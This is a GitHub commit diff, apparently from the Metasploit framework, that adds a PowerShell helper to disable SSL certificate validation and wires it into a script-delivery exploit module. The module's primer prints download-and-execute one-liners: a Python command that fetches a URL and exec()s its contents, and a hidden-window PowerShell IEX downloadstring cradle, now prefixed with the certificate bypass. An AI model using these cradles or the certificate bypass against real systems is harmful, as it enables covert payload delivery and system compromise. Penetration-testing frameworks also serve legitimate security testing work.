File tree Expand file tree Collapse file tree 2 files changed +13
-1
lines changed
lib/rex/exploitation/powershell
modules/exploits/multi/script Expand file tree Collapse file tree 2 files changed +13
-1
lines changed Original file line number Diff line number Diff line change @@ -64,6 +64,15 @@ def self.who_locked_file(filename)
64
64
def self . get_last_login ( user )
65
65
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{ user } ").LastLogon} | Measure-Latest^
66
66
end
67
+
68
+ #
69
+ # Disable SSL Certificate verification
70
+ #
71
+ # @return [String] Powershell code to disable SSL verification
72
+ # checks.
73
+ def self . ignore_ssl_certificate
74
+ '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
75
+ end
67
76
end
68
77
end
69
78
end
Original file line number Diff line number Diff line change @@ -88,7 +88,10 @@ def primer
88
88
when 'Python'
89
89
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
90
90
when 'PSH'
91
- download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
91
+ if ssl
92
+ ignore_cert = Rex ::Exploitation ::Powershell ::PshMethods . ignore_ssl_certificate
93
+ end
94
+ download_and_run = "#{ ignore_cert } IEX ((new-object net.webclient).downloadstring('#{ url } '))"
92
95
print_line generate_psh_command_line (
93
96
noprofile : true ,
94
97
windowstyle : 'hidden' ,
You can’t perform that action at this time.
0 commit comments